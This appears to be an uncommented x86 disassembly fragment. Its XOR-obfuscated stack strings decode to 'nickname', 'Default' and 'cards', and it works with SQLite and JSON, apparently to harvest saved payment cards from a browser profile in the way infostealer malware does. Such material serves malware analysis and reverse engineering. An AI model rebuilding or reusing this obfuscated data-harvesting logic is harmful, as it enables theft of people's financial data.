mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x45c], 0
lea ecx, [ebp - 0x45c]
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x75
xor ecx, ecx
mov dword [ebp - 0xe6], 0x818a8189
mov dword [ebp - 0xe2], 0x8b808d85
mov word [ebp - 0xde], 0x100
nop
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xe6], al
inc ecx
cmp ecx, 8
jb 0x4286c0
lea eax, [ebp - 0xe6]
mov byte [ebp - 0xdd], 0
push eax
lea ecx, [ebp - 0x4e0]
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x76
mov dl, byte [edi]
mov cl, byte [ebp - 0x45c]
mov byte [edi], cl
mov eax, dword [ebp - 0x454]
mov ecx, dword [ebp - 0x450]
mov byte [ebp - 0x45c], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x454], edx
mov dword [ebp - 0x450], esi
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x454]
push dword [ebp - 0x45c]
call fcn.0046a270
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x50]
cmp dword [eax + 0x10], 0
jbe 0x428761
push eax
lea ecx, [ebp - 0x834]
call fcn.00468b20
mov byte [ebp - 4], 0x77
or dword [ebp - 0x10], 0x2000
jmp 0x4287f7
mov dword [ebp - 0x98], 0x8b8f8da3
xor ecx, ecx
mov dword [ebp - 0x94], 0x99809e
mov byte [ebp - 0x90], 1
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x98], al
inc ecx
cmp ecx, 7
jb 0x428780
xor eax, eax
mov byte [ebp - 0x90], 0
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], eax
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4287c7
sub ecx, edx
lea eax, [ebp - 0x98]
push ecx
push eax
lea ecx, [ebp - 0x600]
call fcn.00402ea0
lea eax, [ebp - 0x600]
mov dword [ebp - 4], 0x78
or dword [ebp - 0x10], 0x4000
push eax
lea ecx, [ebp - 0x5b8]
call fcn.00465f40
lea ecx, [ebp - 0x4e0]
push ecx
mov ecx, eax
call fcn.00465c60
mov dword [ebp - 4], 0x77
mov eax, dword [ebp - 0x10]
test eax, 0x4000
je 0x428838
and eax, 0xffffbfff
lea ecx, [ebp - 0x600]
mov dword [ebp - 0x10], eax
call fcn.00402c80
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 0x6c
test eax, 0x2000
je 0x428859
and eax, 0xffffdfff
lea ecx, [ebp - 0x834]
mov dword [ebp - 0x10], eax
call fcn.00402c80
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x4d8]
push dword [ebp - 0x4e0]
call fcn.0046a270
mov ecx, ebx
call fcn.004a3c40
cmp eax, 0x64
je 0x427f80
test ebx, ebx
je 0x4288f4
mov esi, dword [ebx]
mov edi, dword [esi + 0x44]
test edi, edi
je 0x428899
push edi
call dword [0x541f10]
add esp, 4
mov eax, dword [ebx + 0x50]
mov dword [ebp - 0x14], 0
cmp eax, 0xbdf20da3
je 0x4288b1
cmp eax, 0x519c2973
jne 0x4288bb
mov ecx, ebx
call fcn.004a2f40
mov dword [ebp - 0x14], eax
mov ecx, ebx
call fcn.004a30e0
test esi, esi
je 0x4288e6
cmp byte [esi + 0x1e], 0
jne 0x4288d5
cmp dword [ebp - 0x14], 0xc0a
jne 0x4288e6
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
test edi, edi
je 0x4288f4
push edi
call dword [0x541f18]
add esp, 4
mov ecx, dword [ebp - 0x64]
call fcn.00414d80
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x88], 0x8e9b8984
xor ecx, ecx
mov word [ebp - 0x84], 0x98
mov byte [ebp - 0x82], 1
jmp 0x428920
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 5
jb 0x428920
mov ecx, dword [ebp - 0x314]
lea eax, [ebp - 0x88]
push eax
mov byte [ebp - 0x82], 0
call fcn.0046d4f0
lea ecx, [ebp - 0x5b8]
push ecx
mov ecx, eax
call fcn.00465c60
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x66c]
call fcn.00402c80
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x5b0]
push dword [ebp - 0x5b8]
call fcn.0046a270
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x358]
call fcn.00402c80
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x684]
call fcn.00402c80
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x30]
sub ecx, esi
mov edi, dword [ebp - 0x34]
imul ecx
inc edi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x34], edi
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x425cd0
mov dword [ebp - 0x10], 0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x330]
call fcn.00402c80
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x69c]
call fcn.00402c80
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30]
call fcn.0046ac50
jmp 0x42524a
call fcn.004025a0
call fcn.004e4d70
lea ecx, [ebp - 0x48]
call fcn.0046a890
push eax
lea ecx, [ebp - 0x97c]
call fcn.00402b80
mov byte [ebp - 4], 0x66
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x994]
call fcn.0046d240
mov byte [ebp - 4], 0x67
mov edx, 0x131
push eax
lea ecx, [ebp - 0x89c]
call fcn.004089a0
add esp, 8
lea eax, [ebp - 0x89c]
push 0x53dff0
push eax
call fcn.004e12fb
lea ecx, [ebp - 0x48]
call fcn.0046a890
push eax
lea ecx, [ebp - 0x8ec]
call fcn.00402b80
mov byte [ebp - 4], 0x61
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x904]
call fcn.0046d240
mov byte [ebp - 4], 0x62
mov edx, 0x131
push eax
lea ecx, [ebp - 0x880]
call fcn.004089a0
add esp, 8
lea eax, [ebp - 0x880]
push 0x53dff0
push eax
call fcn.004e12fb
lea ecx, [ebp - 0x48]
call fcn.0046a890
push eax
lea ecx, [ebp - 0x964]
call fcn.00402b80
mov byte [ebp - 4], 0x5c
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x91c]
call fcn.0046d240
mov byte [ebp - 4], 0x5d
mov edx, 0x131
push eax
lea ecx, [ebp - 0x8b8]
call fcn.004089a0
add esp, 8
lea eax, [ebp - 0x8b8]
push 0x53dff0
push eax
call fcn.004e12fb
lea ecx, [ebp - 0x48]
call fcn.0046a890
push eax
lea ecx, [ebp - 0x934]
call fcn.00402b80
mov byte [ebp - 4], 0x57
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x94c]
call fcn.0046d240
mov byte [ebp - 4], 0x58
mov edx, 0x131
push eax
lea ecx, [ebp - 0x8d4]
call fcn.004089a0
add esp, 8
lea eax, [ebp - 0x8d4]
push 0x53dff0
push eax
call fcn.004e12fb
int3